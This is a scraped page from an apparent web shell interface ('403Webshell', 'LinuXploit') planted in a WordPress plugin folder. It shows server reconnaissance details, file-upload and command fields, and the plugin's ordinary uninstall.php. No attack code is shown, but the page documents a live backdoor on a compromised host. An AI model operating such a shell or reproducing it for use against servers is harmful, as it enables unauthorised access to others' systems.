403Webshell
Server IP : 216.106.184.20  /  Your IP : 216.73.216.234
Web Server : LiteSpeed
System : Linux asmodeus.in-hell.com 5.14.0-570.58.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 29 06:24:11 EDT 2025 x86_64
User : sekoaid1 ( 1891)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sekoaid1/public_html/wp-content/plugins/wp-popups-lite/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/sekoaid1/public_html/wp-content/plugins/wp-popups-lite/uninstall.php
<?php
/**
 * Uninstall file. If selected all data from popups plugin will be deleted
 */
if( !defined( 'ABSPATH') && !defined('WP_UNINSTALL_PLUGIN') ) exit();

require_once plugin_dir_path( __FILE__ ) . 'src/' . 'includes/functions.php';
$uninstall = wppopups_setting( 'uninstall' );

if( isset( $uninstall) && '1' == $uninstall ) {
	// delete settings
	delete_option('wppopups_settings');
	delete_option('wppopups_preview_page');
	delete_option('wppopups_review');
	delete_option('wppopups_activated');
	// delete popups
	global $wpdb;

	$ids = $wpdb->get_results( "SELECT ID FROM $wpdb->posts WHERE post_type='wppopups'");
	if( !empty( $ids ) ) {
		foreach( $ids as $p ) {
			wp_delete_post( $p->ID, true);
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit